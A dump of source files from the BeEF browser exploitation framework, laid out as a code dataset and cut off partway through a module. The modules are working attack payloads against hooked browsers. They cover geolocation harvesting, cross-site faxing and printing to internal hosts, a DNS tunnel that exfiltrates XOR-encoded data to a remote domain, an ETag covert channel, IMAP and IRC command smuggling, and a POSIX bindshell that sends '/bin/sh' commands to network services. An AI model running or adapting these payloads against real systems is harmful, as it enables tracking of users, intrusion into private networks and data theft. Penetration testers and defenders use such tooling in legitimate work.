language
stringlengths 0
24
| filename
stringlengths 9
214
| code
stringlengths 99
9.93M
|
---|---|---|
Ruby | beef/modules/host/iphone_tel/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Iphone_tel < BeEF::Core::Command
def self.options
[
{ 'name' => 'tel_num', 'description' => 'Telephone number', 'ui_label' => 'Number', 'value' => '5551234', 'width' => '200px' }
]
end
def post_execute
content = {}
content['Result'] = @datastore['result']
save content
end
end |
JavaScript | beef/modules/host/physical_location/command.js | //
// Copyright (c) 2006-2023 Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
if(!beef.geolocation.isGeolocationEnabled()){
beef.net.send("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=FALSE&latitude=&longitude=");
return;
}
beef.geolocation.getGeolocation("<%= @command_url %>", <%= @command_id %>);
}); |
YAML | beef/modules/host/physical_location/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
physical_location:
enable: true
category: "Host"
name: "Get Geolocation"
description: "This module will retrieve the physical location of the hooked browser using the geolocation API."
authors: ["antisnatchor"]
target:
user_notify:
IE:
min_ver: 9
max_ver: latest
FF:
# It's actually 3.5 but min_ver only supports integers
min_ver: 4
max_ver: latest
O:
# It's actually 10.6 but min_ver only supports integers
min_ver: 11
max_ver: latest
C:
min_ver: 5
max_ver: latest
S:
min_ver: 5
max_ver: latest |
Ruby | beef/modules/host/physical_location/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Physical_location < BeEF::Core::Command
def post_execute
content = {}
content['Geolocation Enabled'] = @datastore['geoLocEnabled']
content['Latitude'] = @datastore['latitude']
content['Longitude'] = @datastore['longitude']
content['OSM address'] = @datastore['osm']
save content
end
end |
JavaScript | beef/modules/host/physical_location_thirdparty/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var url = "<%= @api_url %>";
var timeout = 10000;
if (!beef.browser.hasCors()) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error());
return;
}
beef.net.cors.request('GET', url, '', timeout, function(response) {
beef.debug("[Get Physical Location (Third-Party] " + response.body);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=" + response.body, beef.are.status_success());
});
}); |
YAML | beef/modules/host/physical_location_thirdparty/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
physical_location_thirdparty:
enable: true
category: "Host"
name: "Get Geolocation (Third-Party)"
description: "This module retrieves the physical location of the hooked browser using third-party hosted geolocation APIs."
authors: ["bcoles"]
target:
working: "ALL" |
Ruby | beef/modules/host/physical_location_thirdparty/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Physical_location_thirdparty < BeEF::Core::Command
def self.options
[{
'name' => 'api_url',
'type' => 'combobox',
'ui_label' => 'API',
'store_type' => 'arraystore',
'store_fields' => ['api_url'],
'store_data' =>
[
%w[http://ip-api.com/json],
%w[https://ip.nf/me.json],
%w[https://ipapi.co/json],
%w[https://geoip.tools/v1/json],
%w[https://geoip.nekudo.com/api/],
%w[https://extreme-ip-lookup.com/json/],
%w[http://www.geoplugin.net/json.gp],
%w[https://ipinfo.io/json]
],
'emptyText' => 'Select an API',
'valueField' => 'api_url',
'displayField' => 'api_url',
'mode' => 'local',
'forceSelection' => 'false',
'autoWidth' => true
}]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end |
JavaScript | beef/modules/ipec/cross_site_faxing/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var target_ip = "<%= @ip %>";
var target_port = "<%= @port %>";
var recname = "<%= @recname %>";
var recfax = "<%= @recfax %>";
var subject = "<%= @subject %>";
var msg = "<%= @msg.gsub(/"/, '\\"').gsub(/\r?\n/, '\\n') %>";
var uri = "http://"+target_ip+":"+target_port+"/";
var post_body = "@F201 "+recname+"@@F211 "+recfax+"@@F307 "+subject+"@@F301 1@\n"+msg;
var xhr = new XMLHttpRequest();
xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send(post_body);
setTimeout(function(){xhr.abort()}, 2000);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent');
}); |
YAML | beef/modules/ipec/cross_site_faxing/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
cross_site_faxing:
enable: true
category: "IPEC"
name: "Cross-Site Faxing (XSF)"
description: "Using Inter-protocol Exploitation/Communication (IPEC) the hooked browser will send a message to ActiveFax RAW server socket (3000 by default) on the target specified in the 'Target Address' input field. This module can send a FAX to a (premium) faxnumber via the ActiveFax Server.<br /><br />The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet."
authors: ["Bart Leppens"]
target:
working: ["all"] |
Ruby | beef/modules/ipec/cross_site_faxing/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Cross_site_faxing < BeEF::Core::Command
def self.options
[
{ 'name' => 'ip', 'ui_label' => 'Target Address', 'value' => 'localhost' },
{ 'name' => 'port', 'ui_label' => 'Target Port', 'value' => '3000' },
{ 'name' => 'recname', 'ui_label' => 'Name of the receiver', 'value' => 'BeEF' },
{ 'name' => 'recfax', 'ui_label' => 'Fax number of the recipient', 'value' => '+1 11 112233-2' },
{ 'name' => 'subject', 'ui_label' => 'Subject', 'value' => 'Got some BeEF?' },
{ 'name' => 'msg', 'ui_label' => 'Message', 'description' => 'Message to print', 'type' => 'textarea', 'value' => "
**********************************************************************
.O,
lkOl
od cOc
'X, cOo.
cX, ,dkc.
BeEF ;Kd. ,odo,.
.dXl . .:xkl'
'OKc .;c' ,oOk:
,kKo. .cOkc. .lOk:.
.dXx. :KWKo. 'dXd.
.oXx. cXWW0c..dXd.
oW0 .OWWWNd.'KK.
....,;lkNWx KWWWWX:'XK.
,o:, .,:odkO00XNK0Okxdlc,. .KWWWWWWddWd
K::Ol .:d0NXK0OkxdoxO' .lXWWWWWWWWKW0
od d0. .l0NKOxdooooooox0. .,cdOXWWWWWWWWWWWWWx
:O ;K; ;kN0kooooooooooooK: .':ok0NWWWWWWWWWWWWWWWWWWK.
'X .Kl ;KNOdooooooooooooooXkkXWWWWWWWWWWWWWWWWWWWWWWWNd.
.N. o. .Kl 'OW0doooooooooooooodkXWWWWWWWWWWWWWWWWWWWWWWWW0l.
0l oK' .kO:';kNNkoooooooooooook0XWWWWWWWWWWWWWWWWWWWWWWWKx:.
lX.,WN: .:c:xWkoooooooooood0NWW0OWWWWWWWWWWWWWWWWWWWKo.
0O.0WWk' .XKoooooooooooONWWNo dWWWWWWWWWWWWWWWWWl
oKkNWWWX00NWXdooooooooxXWWNk' dWWWWWWWWWWWWWWWWX
.cONWWWWWWWWOoooooooONWWK:...c0WWWWWWWWWWWWWWWWWW:
.;oONWWWWxooooodKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX.
'XW0oooookNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWd
oW0ooooo0WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWO
;NXdooodKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWx
;xkOOdooooxOO0KNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX.
.NOoddxkkkkxxdoookKWWWWWWWWWWWWWWWWWWWWWWWWWWX'
:KNWWWWWWWWWWX0xooONWWWWWWWWWWWWWWWWWWWWWWWk.
.xNXxKWWWWWWWOXWWXxoKWWWWWWWWWWWWWWWWWWWWNk'
OWl cNWWWWWWWk oNWNxKWWWWWWWWWWWWWWWWWNOl.
,Wk xWWWWWWWWd xWWNWWWWWWWWWWWWXOdc,.
.N0 lOXNX0x; .KWWWWWWWWWWWNkc.
:NO, 'lXWWWWWWWWWNk:.
.dXN0OkxkO0NWWWWWWWWWWKl.
.';o0WWWWWWWWWWWNk;
.cxOKXKKOd;.
**********************************************************************",
'width' => '200px' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end |
JavaScript | beef/modules/ipec/cross_site_printing/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var target_ip = "<%= @ip %>";
var target_port = "<%= @port %>";
// send a request
function send_msg(ip, port) {
// create iframe
var iframe = document.createElement("iframe");
iframe.setAttribute("id","ipc_cross_site_printing_<%= @command_id %>");
iframe.setAttribute("style", "visibility:hidden;width:1px;height:1px;");
document.body.appendChild(iframe);
iframe = document.getElementById("ipc_cross_site_printing_<%= @command_id %>");
// create form
var action = "http://" + ip + ":" + port + "/";
myform=document.createElement("form");
myform.setAttribute("name","data");
myform.setAttribute("method","post");
myform.setAttribute("enctype","multipart/form-data");
myform.setAttribute("action",action);
iframe.contentWindow.document.body.appendChild(myform);
// create message textarea
myExt = document.createElement("textarea");
myExt.setAttribute("id","msg_<%= @command_id %>");
myExt.setAttribute("name","msg_<%= @command_id %>");
myExt.setAttribute("wrap","none");
myExt.setAttribute("rows","70");
myExt.setAttribute("cols","100");
myform.appendChild(myExt);
// send message
iframe.contentWindow.document.getElementById("msg_<%= @command_id %>").value = "<%= @msg.gsub(/"/, '\\"').gsub(/\r?\n/, '\\n') %>";
myform.submit();
// clean up
setTimeout('document.body.removeChild(document.getElementById("ipc_cross_site_printing_<%= @command_id %>"));', 15000);
}
// validate target
if (!target_port || !target_ip) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed target host or target port');
} else if (!beef.net.is_valid_port(target_port)) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port');
// send request and wait for reply
} else {
send_msg(target_ip, target_port);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent');
}
}); |
YAML | beef/modules/ipec/cross_site_printing/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
cross_site_printing:
enable: true
category: "IPEC"
name: "Cross-Site Printing (XSP)"
description: "Using Inter-protocol Exploitation/Communication (IPEC) the hooked browser will send a message to a listening print port (9100 by default) on the target specified in the 'Target Address' input field.<br /><br />The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet."
authors: ["bcoles"]
target:
working: ["FF"] |
Ruby | beef/modules/ipec/cross_site_printing/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Cross_site_printing < BeEF::Core::Command
def self.options
[
{ 'name' => 'ip', 'ui_label' => 'Target Address', 'value' => 'localhost' },
{ 'name' => 'port', 'ui_label' => 'Target Port', 'value' => '9100' },
{ 'name' => 'msg', 'ui_label' => 'Message', 'description' => 'Message to print', 'type' => 'textarea', 'value' => "**********************************************************************
.O,
lkOl
od cOc
'X, cOo.
cX, ,dkc.
BeEF ;Kd. ,odo,.
.dXl . .:xkl'
'OKc .;c' ,oOk:
,kKo. .cOkc. .lOk:.
.dXx. :KWKo. 'dXd.
.oXx. cXWW0c..dXd.
oW0 .OWWWNd.'KK.
....,;lkNWx KWWWWX:'XK.
,o:, .,:odkO00XNK0Okxdlc,. .KWWWWWWddWd
K::Ol .:d0NXK0OkxdoxO' .lXWWWWWWWWKW0
od d0. .l0NKOxdooooooox0. .,cdOXWWWWWWWWWWWWWx
:O ;K; ;kN0kooooooooooooK: .':ok0NWWWWWWWWWWWWWWWWWWK.
'X .Kl ;KNOdooooooooooooooXkkXWWWWWWWWWWWWWWWWWWWWWWWNd.
.N. o. .Kl 'OW0doooooooooooooodkXWWWWWWWWWWWWWWWWWWWWWWWW0l.
0l oK' .kO:';kNNkoooooooooooook0XWWWWWWWWWWWWWWWWWWWWWWWKx:.
lX.,WN: .:c:xWkoooooooooood0NWW0OWWWWWWWWWWWWWWWWWWWKo.
0O.0WWk' .XKoooooooooooONWWNo dWWWWWWWWWWWWWWWWWl
oKkNWWWX00NWXdooooooooxXWWNk' dWWWWWWWWWWWWWWWWX
.cONWWWWWWWWOoooooooONWWK:...c0WWWWWWWWWWWWWWWWWW:
.;oONWWWWxooooodKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX.
'XW0oooookNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWd
oW0ooooo0WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWO
;NXdooodKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWx
;xkOOdooooxOO0KNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX.
.NOoddxkkkkxxdoookKWWWWWWWWWWWWWWWWWWWWWWWWWWX'
:KNWWWWWWWWWWX0xooONWWWWWWWWWWWWWWWWWWWWWWWk.
.xNXxKWWWWWWWOXWWXxoKWWWWWWWWWWWWWWWWWWWWNk'
OWl cNWWWWWWWk oNWNxKWWWWWWWWWWWWWWWWWNOl.
,Wk xWWWWWWWWd xWWNWWWWWWWWWWWWXOdc,.
.N0 lOXNX0x; .KWWWWWWWWWWWNkc.
:NO, 'lXWWWWWWWWWNk:.
.dXN0OkxkO0NWWWWWWWWWWKl.
.';o0WWWWWWWWWWWNk;
.cxOKXKKOd;.
**********************************************************************", 'width' => '200px' }
]
end
def post_execute
content = {}
content['result'] = @datastore['result'] unless @datastore['result'].nil?
content['fail'] = @datastore['fail'] unless @datastore['fail'].nil?
content['fail'] = 'No data was returned.' if content.empty?
save content
end
end |
JavaScript | beef/modules/ipec/dns_tunnel/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*
Poor man's unidirectional DNS tunnel in JavaScript.
The largely-untested, highly experimental first draft.
How it works:
A remote domain with a DNS server configured to accept wildcard subdomains is required to receive the data. BeEF does not support this feature so you're on your own when it comes to decoding the information.
A domain and message are taken as input. The message is XOR'd, url encoded, the "%" are replaced with "." and the message is split into segments of 230 bytes. The segments are sent in sequence however there are plans to randomize the order.
To allow the original message to be pieced back together each message is allocated an id and each DNS query is given a sequence number. The final domain name used in the DNS query is structured as follows:
MESSAGE_ID.SEGMENT_SEQUENCE_NUMBER.TOTAL_SEGMENTS.XOR_KEY.MESSAGE_SEGMENT.REMOTE_DOMAIN
Assuming a remote domain of max length 63 characters this leaves 167 characters for our message segment in each query as per the following breakdown:
[5].[5].[5].[5].[255-5-5-5-5-5-DOMAIN_LENGTH].[DOMAIN_LENGTH]
This approach, while flawed and simplistic, should comply with the limitations to DNS according to RFC 1035:
o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
o Domain names are limited to 255 characters in length (including dots)
o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
o Subdomains are limited to 63 characters in length (including the trailing dot)
Each segment is sent by appending an image to the DOM containing the query as the image source. The images are later destroyed.
Caveats:
o Unidirectional - Data can only be sent one way.
o Message size - Limited to messages less than 64KB in length.
o Limited by JavaScript strings. Byte code needs to be converted to a compatible string before it can be sent. There's also lots of wasted space. Converting to hex would be much cleaner and would save a few bytes for each query.
o Throttling - There is no throttling. The browser may only initiate x amount of simultaneous connections. The requests should be throttled to avoid hitting the cap. TODO: Introduce a wait delay between each request to partially account for this.
o Time consuming - It takes forever and there is no resume feature.
o Encryption - Uses very weak "encryption" (XOR) and the key is transferred with the request.
o Encoding - Using encodeURI() is a terrible alternative to using base64 for a few reasons. It *might* fail horribly if a high value unicode character is XOR'd with a high value key. It *will* fail horribly if a low value key is used.
o Compression - The requests are not compressed.
o Encoding - Currently uses JavaScript fromCharCode unicode rather than a modified version of base64.
o Padding - The last query contains no padding which makes it easy for network administrators to spot. This isn't really a problem as the sequence numbers are in plain sight.
*/
beef.execute(function() {
var msgId = "<%= @command_id %>";
var wait = "<%= @wait %>";
var domain = "<%= @domain %>";
var message = "<%= @message %>";
beef.net.dns.send(msgId, message, domain, wait, function(num) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'dns_requests='+num+' requests sent') } );
}); |
YAML | beef/modules/ipec/dns_tunnel/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
dns_tunnel:
enable: false
category: "IPEC"
name: "DNS Tunnel"
description: "This module sends data one way over DNS.<br/><br/>A domain and message are taken as input. The message is XOR'd, url encoded, the '%' are replaced with '.' and the message is split into segments of 230 bytes. The segments are sent in sequence along with the sequence number and XOR key.<br/><br/>Note: A remote domain with a DNS server configured to accept wildcard subdomains is required to receive the data. BeEF does not support this feature so you're on your own when it comes to decoding the information."
authors: ["bcoles"]
target:
working: "All" |
Ruby | beef/modules/ipec/dns_tunnel/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Dns_tunnel < BeEF::Core::Command
def self.options
@configuration = BeEF::Core::Configuration.instance
beef_host = @configuration.beef_host
[
{ 'name' => 'domain', 'ui_label' => 'Domain', 'type' => 'text', 'width' => '400px', 'value' => beef_host },
{ 'name' => 'message', 'ui_label' => 'Message', 'type' => 'textarea',
'value' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras rutrum fermentum nunc, vel varius libero pharetra a. Duis rhoncus nisi volutpat elit suscipit auctor. In fringilla est eget tortor bibendum gravida. Pellentesque aliquet augue libero, at gravida arcu. Nunc et quam sapien, eu pulvinar erat. Quisque dignissim imperdiet neque, et interdum sem sagittis a. Maecenas non mi elit, a luctus neque. Nam pulvinar libero sit amet dui suscipit facilisis. Duis sed mauris elit. Aliquam cursus scelerisque diam a fringilla. Curabitur mollis nisi in ante hendrerit pellentesque ut ac orci. In congue nunc vitae enim pharetra eleifend.', 'width' => '400px', 'height' => '300px' }
# {'name' => 'wait', 'ui_label' => 'Wait between requests (ms)', 'value' => '1000', 'width'=>'100px' }
]
end
def post_execute
content = {}
content['dns_requests'] = @datastore['dns_requests']
save content
end
end |
JavaScript | beef/modules/ipec/etag_client/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
//
beef.execute(function(){
var start_time = 0;
var origin = '';
var header = '';
var message = '';
var id = "<%= @command_id %>";
var curl = "<%= @command_url %>";
var payload_name = "<%= @payload_name %>";
function getHeader(url, mode)
{
var xhr = new XMLHttpRequest();
xhr.open('GET', url, mode);
xhr.send();
if (xhr.status == 404){
throw "message_end"
}
return xhr.getResponseHeader('ETag');
}
function start( origin, id )
{
start_time = (new Date()).getTime();
header = getHeader( origin + '/etag/' + id + '/start', false);
}
function decode( bin_message )
{
arr = [];
for( var i = 0; i < bin_message.length; i += 8 ) {
arr.push(bin_message.substr(i, 8));
}
var message = "";
for( i = 0; i < arr.length; i++ ){
message += String.fromCharCode(parseInt(arr[i],2));
}
return message;
}
function get_data( origin, id )
{
var interval = setInterval( function()
{
try{
newHeader = getHeader( origin + '/etag/' + id, false);
}
catch(e){
// The message is terminated so finish
clearInterval(interval);
final_message=decode( message );
delta = ((new Date()).getTime() - start_time)/1000;
bits_per_second = "" + message.length/delta;
//Save the message in the Window
if (window.hasOwnProperty(payload_name))
window[payload_name] = final_message
else
Object.defineProperty(window,payload_name, { value: final_message,
writable: true,
enumerable: false });
beef.net.send(curl, parseInt(id),'etag_tunnel=true' + '&bps=' + bits_per_second);
return;
}
if (newHeader!==header){
message = message + '1';
header = newHeader;
} else {
message = message + '0';
}
}, 100, header, message);
}
function get_message( origin, id )
{
setTimeout( start( origin, id ), 500 );
setTimeout( get_data( origin, id ), 500) ;
}
get_message( origin, id );
}); |
YAML | beef/modules/ipec/etag_client/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
etag_client:
enable: true
category: "IPEC"
name: "ETag Tunnel: Server-to-Client"
description: "This module sends data from server to client using ETag HTTP header.<br/><br/>A payload name and message are taken as input. The structure of ETag header isn't modified. The message is sent as a bitstream, decoded, and then can be accessed via Window object property specified in payload name parameter.<br/><br/> Note: To use this feature you should enable ETag extension."
authors: ["dnkolegov,ovbroslavsky,neoleksov"]
target:
working: "All" |
Ruby | beef/modules/ipec/etag_client/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Etag_client < BeEF::Core::Command
def self.options
[
{ 'name' => 'payload_name', 'ui_label' => 'Payload Name', 'type' => 'text', 'width' => '400px', 'value' => 'etagTunnelPayload' },
{ 'name' => 'data', 'ui_label' => 'Message', 'type' => 'textarea',
'value' => 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ' \
'ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco ' \
'laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in ' \
'voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat ' \
'non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.',
'width' => '400px', 'height' => '100px' }
]
end
def pre_send
# gets the value configured in the module configuration by the user
@configuration = BeEF::Core::Configuration.instance
enable = @configuration.get('beef.extension.etag.enable')
raise ArgumentError, 'etag extension is disabled' if enable != true
@datastore.each do |input|
@data = input['value'] if input['name'] == 'data'
end
BeEF::Extension::ETag::ETagMessages.instance.messages.store(@command_id.to_i, @data.unpack1('B*'))
end
def post_execute
# gets the value of command_id from BeEF database and delete the message from Etag webserver "database"
cid = @datastore['cid'].to_i
BeEF::Extension::ETag::ETagMessages.instance.messages.delete(cid)
end
end |
JavaScript | beef/modules/ipec/inter_protocol_imap/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* Inter protocol IMAP module
* Ported from BeEF-0.4.0.0 by jgaliana (Original author: Wade)
*
*/
beef.execute(function() {
var server = '<%= @server %>';
var port = '<%= @port %>';
var commands = '<%= @commands %>';
var target = "http://" + server + ":" + port + "/abc.html";
var iframe = beef.dom.createInvisibleIframe();
var form = document.createElement('form');
form.setAttribute('name', 'data');
form.setAttribute('action', target);
form.setAttribute('method', 'post');
form.setAttribute('enctype', 'multipart/form-data');
var input = document.createElement('input');
input.setAttribute('id', 'data1')
input.setAttribute('name', 'data1')
input.setAttribute('type', 'hidden');
input.setAttribute('value', commands);
form.appendChild(input);
iframe.contentWindow.document.body.appendChild(form);
form.submit();
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IMAP4 commands sent");
}); |
YAML | beef/modules/ipec/inter_protocol_imap/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
inter_protocol_imap:
enable: true
category: "IPEC"
name: "IMAP"
description: "Using Inter-protocol Communication (IPEC) zombie browser will send commands to an IMAP4 server. The target address can be on the zombie's subnet which is potentially not directly accessible from the Internet. Have in mind that browser Port Banning is denying connections to default IMAP port 143."
authors: ["jgaliana", "wade"]
target:
working: ["FF", "C", "S", "O"]
not_working: ["IE"] |
Ruby | beef/modules/ipec/inter_protocol_imap/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Inter_protocol_imap < BeEF::Core::Command
def self.options
[
{ 'name' => 'server', 'ui_label' => 'IMAP Server', 'value' => '127.0.0.1' },
{ 'name' => 'port', 'ui_label' => 'Port', 'value' => '220' },
{ 'name' => 'commands', 'ui_label' => 'Commands', 'type' => 'textarea', 'value' => 'a01 login root password\na002 logout' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end |
JavaScript | beef/modules/ipec/inter_protocol_irc/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* Inter protocol IRC module
* Developed by jgaliana
*
* It is known that some IRC servers have protections against browser's connections in order to prevent attacks seen in the wild
* http://www.theregister.co.uk/2010/01/30/firefox_interprotocol_attack/
*/
beef.execute(function() {
var rhost = '<%= @rhost %>';
var rport = '<%= @rport %>';
var nick = '<%= @nick %>';
var channel = '<%= @channel %>';
var message = '<%= @message %>';
var irc_commands = "NICK " + nick + "\n";
irc_commands += "USER " + nick + " 8 * : " + nick + " user\n";
irc_commands += "JOIN " + channel + "\n";
irc_commands += "PRIVMSG " + channel + " :" + message + "\nQUIT\n";
// send commands
var irc_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", irc_commands);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IRC command sent");
// clean up
cleanup = function() {
document.body.removeChild(irc_iframe_<%= @command_id %>);
}
setTimeout("cleanup()", 15000);
}); |
YAML | beef/modules/ipec/inter_protocol_irc/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
inter_protocol_irc:
enable: true
category: "IPEC"
name: "IRC"
description: "Using Inter-protocol Exploitation/Communication (IPEC) the hooked browser will connect to an IRC server, join a channel and send messages to it.<br><br>NOTE: Some IRC servers (like freenode) have implemented protections against connections from a web browser. This module is unlikely to work in those instances."
authors: ["jgaliana"]
target:
working: ["FF"]
not_working: ["C", "S", "O", "IE"] |
Ruby | beef/modules/ipec/inter_protocol_irc/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Inter_protocol_irc < BeEF::Core::Command
def self.options
[
{ 'name' => 'rhost', 'ui_label' => 'IRC Server', 'value' => '127.0.0.1' },
{ 'name' => 'rport', 'ui_label' => 'Port', 'value' => '6667' },
{ 'name' => 'nick', 'ui_label' => 'Username', 'value' => 'user1234__' },
{ 'name' => 'channel', 'ui_label' => 'Channel', 'value' => '#channel1' },
{ 'name' => 'message', 'ui_label' => 'Message', 'value' => 'Message sent from the Browser Exploitation Framework!' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end |
JavaScript | beef/modules/ipec/inter_protocol_posix_bindshell/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var target_ip = "<%= @ip %>";
var target_port = "<%= @port %>";
var cmd = '<%= @cmd %>';
var timeout = "<%= @command_timeout %>";
var internal_counter = 0;
var result_size = "<%= @result_size %>";
// create iframe
var iframe = document.createElement("iframe");
iframe.setAttribute("id","ipc_posix_window_<%= @command_id %>");
iframe.setAttribute("style", "visibility:hidden;width:1px;height:1px;");
document.body.appendChild(iframe);
// send a request
function send_cmds(ip, port, cmd, size) {
var action = "http://" + ip + ":" + port + "/index.html?&/bin/sh;";
var parent = window.location.href;
// create form
myform=document.createElement("form");
myform.setAttribute("name","data");
myform.setAttribute("method","post");
myform.setAttribute("enctype","multipart/form-data");
myform.setAttribute("action",action);
document.getElementById("ipc_posix_window_<%= @command_id %>").contentWindow.document.body.appendChild(myform);
body1="<html><body><div id='ipc_content'>";
body2="__END_OF_POSIX_IPC<%= @command_id %>__</div><s"+"cript>window.location='"+parent+"#ipc_result='+encodeURI(document.getElementById(\\\"ipc_content\\\").innerHTML);</"+"script></body></html>";
// post results separator
myExt = document.createElement("INPUT");
myExt.setAttribute("id",<%= @command_id %>);
myExt.setAttribute("name",<%= @command_id %>);
myExt.setAttribute("value","echo -e HTTP/1.1 200 OK\\\\r;echo -e Content-Type: text/html\\\\r;echo -e Content-Length: "+(body1.length+cmd.length+body2.length+size*1)+"\\\\r;echo -e Keep-Alive: timeout=5,max=100\\\\r;echo -e Connection: keep-alive\\\\r;echo -e \\\\r;echo \""+body1+"\";(" + cmd + ")|head -c "+size+" ; ");
myform.appendChild(myExt);
// Adding buffer space for the command result
end_talkback=" echo -e \""+body2;
while(--size) end_talkback+=" ";
end_talkback+="\" \\\\r ;";
// post js to call home and close connection
myExt2 = document.createElement("INPUT");
myExt2.setAttribute("id","endTag");
